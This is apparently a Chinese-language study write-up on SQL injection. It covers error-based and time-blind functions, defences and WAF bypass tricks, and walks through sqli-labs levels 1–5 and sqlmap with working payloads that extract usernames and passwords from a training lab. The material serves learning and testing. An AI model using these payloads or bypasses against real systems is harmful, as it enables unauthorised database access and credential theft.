1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
注入原理
sql命令插入到web表单提交输入域名或页面请求的查询字符串,达到欺骗服务器执行恶意sql命令,用户输入的数据未经过滤,以拼接方式带入sql查询语句中
常用函数
1.报错注入
用法:updatexml(XML_document,XPath_string,new_value);
//XML_document:文档对象的名称,XPath_string:使用xpath语法格式的路径,new_value:需要更新的内容
updatexml(1,concat(0x7e,database()),1)
extractvalue(目标xml文档,xml路径)
用法:extractvalue(1,CONCAT(0x7e,database()))
原理:~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误)
2.时间盲注
if(expr1,expr2,expr3) 判断语句,如果第一个语句正确就执行第二个语句,如错误执行第三个语句
sleep(n) 将程序挂起一段时间 n单位为秒
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c) 从位置b开始,截取a字符串的c位
length() 返回字符串的长度
Ascii() 将某个字符转换为ascii值
防御手段
- 预编译和绑定变量、从根本上杜绝
- 代码中对用户输入数据进行严格过滤
- 网络层面部署web防火墙
- 做好数据库用户权限控制
常用绕waf
- 空格绕过
select * from users where id=1 union/**/select/**/1,2,3 #使用注释
-
大小写绕过
字符串设置为大小写混杂
select * from users where id=1 UniON SelECT 1,2,3,4;
-
双写绕过
碰到检测关键字删除可以尝试
select * from users where id=1 UnUniONiON SelESelECTCT 1,2,3,4;
- or and xor not绕过
and=&& or=|| xor=| not=!
2.总结SQLi的手工注入的步骤
1.确定注入点:找到与数据库有交互的地方且参数用户可控
2.判断注入类型:字符型(闭合方式,单双引号,有无括号等)、数字型
3.判断条目数:order by n,条目数为页面未报错的最大值n
4.确定回显点:确定条目数后union select查询对应项数,看页面哪里回显了对应数据,第几项就是有效注入点
5.拿库名,用户:select database(),user()
6.拿表名:select table_name from information_schema.tables where table_scheam=database()
7.拿列名:select column_name from information_schema.columns where table_schema=database() and table_name =table
8.查数据:select * from table
3.sqli-labs前5关
第一关
1.判断注入类型
?id=1'
,报错
?id=1''
,正常显示,说明是字符型
2.判断条目,(这里使用order by判断)
order by 3
正常显示,order by 4
报错,判断条目数为3
3.判断回显点
?id=-1' union select 1,2,3#
页面回显2,3,说明注入点在第二项和第三项(这里注意id=-1或空,因为页面只回显第一条数据,id=1的话会显示1的数据而判断不了注入点)
4.开始注入
获取当前库名和用户:
?id=1' union select 1,database(),user()#
获取表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
注:该页面只能回显第一条信息,所以可以使用group_concat函数,该函数可以查出信息输出到一行中
获取列名:分析表名,判断重要数据可能在users表中
?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
查到id、用户名、和密码三项
获取用户数据:
?id=-1' union select 1,group_concat(username),group_concat(password) from users#
得到用户名和密码,注入完成
第二关
1.判断注入类型
?id=1'
,报错
?id=1''
,同样报错
判断是数字型
之后流程同第一关一样,也没有任何防御机制,不再赘述,最后结果如下
第三关
1.判断注入类型
输入id=1'
,报错,但发现报错中含有反括号,猜测该条查询语句中id有括号闭合
这里尝试使用反括号闭合id=1')%23
,发现正常回显1的数据,闭合成功,该类型是带括号的字符型注入
之后步骤同上,这里拿出最后结果
第四关
1.判断注入类型
?id=1'
,正常显示
猜测可能使用的双引号闭合,这里使用?id=1"
进行尝试
发现报错中又有反括号,应该是用的双引号+括号进行的闭合,尝试?id=1")#
,回显1的数据,猜想正确
之后步骤如前几关,这里拿出结果
第五关
1.判断注入类型
输入?id=1'
,报错
输入id=1''
,正常回显,说明是普通字符型,但正常回显不会显示数据而只显示对错,我们无法通关正常注入判断,因为会回显报错信息,这里我们考虑使用报错注入
先查询数据库判断是否能够注入,输入?id=1' and updatexml(0,concat(0x7e,database()),0)#
发现能够回显数据库,于是判断该处可以使用报错注入
获取表名
?id=1' and updatexml(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0)#
获取users表中列名
?id=1' and updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),0)#
获取账号,密码
账号
?id=1' and updatexml(0,concat(0x7e,(select group_concat(username) from users)),0)#
这里发现账号并没有完全显示,是因为updatexml函数一次最多只能显示32个字符(除去开头的~,有效字符只有31位),这里可以采用substr截取字符串的方式,从第32位开始读
payload如
?id=1' and updatexml(0,concat(0x7e,(select substr(group_concat(username),32,31) from users)),0)#
?id=1' and updatexml(0,concat(0x7e,(select substr(group_concat(username),63,31) from users)),0)#
由于上面只有三十个字符,证明已经到末尾
完整拼接出来,获取全部用户名为
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
接着获取密码,将上面查询的username替换作password即可
?id=1' and updatexml(0,concat(0x7e,(select substr(group_concat(password),1,31) from users)),0)#
?id=1' and updatexml(0,concat(0x7e,(select substr(group_concat(password),32,31) from users)),0)#
?id=1' and updatexml(0,concat(0x7e,(select substr(group_concat(password),63,31) from users)),0)#
?id=1' and updatexml(0,concat(0x7e,(select substr(group_concat(password),94,31) from users)),0)#
拼接得完整密码
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
4.sqlmap使用
sqlmap是一个sql注入的自动化工具,这里对sqli-labs第六关进行测试
1.进行扫描
sqlmap -u "192.168.44.1/sqli-labs/Less-6/?id=1" --batch #--batch表示默认选项
如图显示有报错注入,时间盲注和布尔盲注漏洞
2.获取当前数据库
sqlmap -u "192.168.44.1/sqli-labs/Less-6/?id=1" --current-db
3.获取表名
sqlmap -u "192.168.44.1/sqli-labs/Less-6/?id=1" -D security --tables
4.获取列名
sqlmap -u "192.168.44.1/sqli-labs/Less-6/?id=1" -D security -T users --columns
5.获取数据
sqlmap -u "192.168.44.1/sqli-labs/Less-6/?id=1" -D security -T users -C id,password,username --dump